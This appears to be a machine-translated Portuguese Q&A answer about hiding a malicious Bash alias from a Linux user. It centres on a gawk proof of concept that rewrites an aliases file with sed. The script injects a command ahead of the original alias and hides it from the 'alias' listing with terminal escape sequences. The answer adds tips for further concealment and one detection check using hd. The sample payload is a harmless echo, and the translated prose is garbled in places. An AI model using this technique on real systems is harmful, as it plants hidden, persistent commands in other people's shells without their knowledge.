É possível ocultar a existência de um alias malicioso no Bash em um sistema Linux e executá-lo pelo usuário sem o seu conhecimento?
9
É possível fazer isso anexando o alias existente ao malicioso e usando o movimento do cursor para ocultá-lo se o alias
comando for usado para exibir definições de alias. Não é um método perfeitamente infalível, mas pode passar despercebido por um tempo. Tubulação alias
através hd
irá mostrar-lhe se existem seqüências de escape (movimento do cursor) em seus aliases. Aqui está uma prova de conceito de como um comando malicioso pode ser inserido em um alias:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
comando modifica um arquivo chamado "aliases" no lugar - um script real desse tipo iria para a garganta e modifica um arquivo de script real para que o alias malicioso seja ativado na próxima vez em que for executado.hide
como argumento, portanto é possível que você possa obter um erro semelhante ao relatado nesta pergunta . Pode ser possível reverter as partes originais e mal-intencionadas para afetar isso, embora isso interfira nos argumentos fornecidos ao alias. É feita uma tentativa no script acima para marcar o final dos argumentos com --
.&&
, você poderia tubo de um para o outro e fazer o script malicioso (representado acima pelo simples echo
comando) funcionam como um stdin
para stdout
pass-through, quer para modificar os dados como ele está atravessando ou para esconder a sua existência ainda mais por não interferir com outro redirecionamentohide
sequência pode ser modificada para incluir diferentes movimentos do cursor e o texto do alias original, para que o alias
comando pareça mostrar o alias não modificado em vez de ocultá-lo junto com a parte maliciosa.. aliases
. Em seguida, você pode tentar usar o alias afetado e ver como fica quando o faz alias|hd
.